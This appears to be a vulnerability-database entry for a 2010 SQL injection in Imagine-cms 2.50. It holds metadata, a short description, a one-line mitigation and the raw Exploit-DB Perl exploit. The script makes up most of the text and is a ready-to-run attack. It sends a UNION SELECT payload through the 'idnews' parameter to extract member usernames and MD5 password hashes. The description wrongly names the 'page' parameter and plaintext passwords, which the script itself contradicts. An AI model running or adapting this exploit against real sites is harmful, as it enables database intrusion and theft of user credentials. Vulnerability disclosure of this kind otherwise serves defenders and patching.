Imagine-cms 2.50

vendor:

Imagine-cms

by:

Metropolis

7,5

CVSS

HIGH

SQL Injection

CWE

Product Name: Imagine-cms

Affected Version From: 2.50

Affected Version To: 2.50

Patch Exists: YES

Related CWE: N/A

CPE: a:imagine-cms:imagine-cms:2.50

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2010

Imagine-cms version 2.50 is vulnerable to a remote SQL injection vulnerability. An attacker can exploit this vulnerability to gain access to the application's database, including usernames and passwords stored in plaintext. The vulnerability exists due to insufficient sanitization of user-supplied input in the 'page' parameter of the 'index.php' script. An attacker can exploit this vulnerability by sending a specially crafted HTTP request containing malicious SQL statements to the vulnerable application.

Mitigation:

Ensure that user-supplied input is properly sanitized before being used in SQL statements.

Source

Exploit-DB raw data:

#!/usr/bin/perl
###########################################
#
# Script Name : Imagine-cms 2.50
#
# Version :  2.50
# 
# Bug Type : SQL Injection
#
# Found by : Metropolis 
# 
# Home : http://metropolis.fr.cr
#
# Discovered : 21/07/2010
#
# Download app : 
# http://www.imagine-cms.net/modules/
# telechargement/index.php?page=afficher_souscat&id_cat=2
# 
###########################################
use IO::Socket;
if(@ARGV != 2) { usage(); }
else { exploit(); }
sub header()
{
  print "\n- Author: Metropolis\r\n";
  print "- Imagine-cms <= 2.50 Remote SQL Injection Exploit\r\n";
}
sub usage()
{
  header();
  print "- Usage: $0 <host> <path>\r\n";
  print "- <host> -> Victim's host ex: www.victim.com\r\n";
  print "- <path> -> ex: /\r\n";
  exit();
}
sub exploit ()
{
  #Our variables...
  $spserver = $ARGV[0];
  $spserver =~ s/(http:\/\/)//eg;
  $sphost   = "http://".$spserver;
  $spdir    = $ARGV[1];
  $spport   = "80";
  $sptar    = "index.php?page=commentaire&idnews=";
  $spxp     = "-1+and+1=0+union+select+1,2,concat(25552,membre_pseudo,25553,membre_mdp,25554),4,5+from+CMS_membre--";
  $spreq    = $sphost.$spdir.$sptar.$spxp;
  #Sending data...
  header();
  print "- Trying to connect: $spserver\r\n";
  $sp = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$spserver", PeerPort => "$spport") || die "- Connection failed...\n";
  print $sp "GET $spreq HTTP/1.1\n";
  print $sp "Accept: */*\n";
  print $sp "Referer: $sphost\n";
  print $sp "Accept-Language: tr\n";
  print $sp "User-Agent: NukeZilla\n";
  print $sp "Cache-Control: no-cache\n";
  print $sp "Host: $spserver\n";
  print $sp "Connection: close\n\n";
  print "- Connected...\r\n";
  while ($answer = <$sp>) {
    if ($answer =~ /25552(.*?)25553([\d,a-f]{32})25554/) {
      print "- Exploit succeed!\r\n";
      print "- Username: $1\r\n";
      print "- MD5 HASH of PASSWORD: $2\r\n";
      exit();
    }
  }
  #Exploit failed...
  print "- Exploit failed\n"
}